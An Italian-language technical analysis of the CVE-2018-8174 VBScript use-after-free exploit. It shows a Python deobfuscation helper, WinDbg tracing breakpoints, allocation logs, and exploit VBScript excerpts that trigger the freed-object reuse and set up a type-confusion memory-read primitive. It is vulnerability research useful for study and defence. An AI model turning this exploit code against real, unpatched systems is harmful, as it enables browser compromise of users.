
Analisi dell'exploit VBS CVE-2018-8174
Quando questo exploit è emerso per la prima volta tra aprile e maggio, ha suscitato il mio interesse, poiché nonostante la forte offuscazione, la struttura del codice sembrava ben organizzata e il codice di sfruttamento della vulnerabilità era abbastanza piccolo da rendere l'analisi più semplice. Ho scaricato il POC da github e ho deciso che sarebbe stato un buon candidato per dare un'occhiata sotto il cofano. All'epoca erano già state pubblicate due analisi, la prima di 360 e la seconda di Kaspersky. Entrambe mi hanno aiutato a capire come funzionava, ma non sono state sufficienti per comprendere a fondo ogni aspetto dell'exploit. Ecco perché ho deciso di analizzarlo per conto mio e condividere le mie scoperte.
Per prima cosa, per rimuovere l'offuscamento degli interi, ho usato la sostituzione regex in uno script Python:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
Per quanto riguarda i nomi offuscati, li ho rinominati progressivamente durante l'analisi. Questa analisi è meglio leggerla con il codice sorgente, il cui link è alla fine.
La vulnerabilità si verifica quando un oggetto viene terminato e viene chiamata la funzione definita dall'utente Class_Terminate(). In questa funzione, il riferimento all'oggetto in fase di rilascio viene salvato in UafArray. D'ora in poi UafArray(i) fa riferimento all'oggetto eliminato.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Notate anche l'ultima riga in Class_Terminate(). Quando copiamo l'oggetto ClassTerminate in UafArray, il suo contatore di riferimenti viene incrementato. Per bilanciarlo, lo liberiamo di nuovo assegnando un altro valore a FreedObjectArray. Senza questo, la memoria dell'oggetto non verrebbe liberata nonostante la chiamata di Class_Terminate su di esso e l'oggetto successivo non verrebbe allocato al suo posto.

La creazione e l'eliminazione di nuovi oggetti viene ripetuta 7 volte in un ciclo; dopo di che viene creato un nuovo oggetto della classe ReuseClass. Viene allocato nella stessa memoria che era stata precedentemente occupata dalle 7 istanze di ClassTerminate.
Per capire meglio, ecco un semplice script WinDbg che traccia tutte queste allocazioni:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Ecco il log di allocazione dalla funzione UafTrigger:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
Possiamo vedere immediatamente che ReuseClass è effettivamente allocata nella stessa memoria che era stata assegnata alle 7 istanze precedenti di ClassTerminate. Questa operazione viene ripetuta due volte. Alla fine abbiamo due oggetti referenziati da UafArrays. Nessuno di questi riferimenti è riflesso nel contatore di riferimenti dell'oggetto. In questo log possiamo anche notare che anche dopo la chiamata di Class_Terminate ci sono alcune manipolazioni dell'oggetto che ne cambiano il contatore di riferimenti. Ecco perché se non bilanciassimo questo contatore in Class_Terminate otterremmo qualcosa del genere:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Indirizzi di allocazione diversi. L'exploit non riuscirebbe a creare la condizione di use after free.
Avendo creato questi due oggetti con 7 riferimenti non contati ciascuno, abbiamo stabilito una primitiva di lettura arbitraria della memoria. Ci sono due classi simili, ReuseClass e FakeReuseClass. Sostituendo la prima classe con la seconda si verifica una confusione di tipo sul membro mem.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class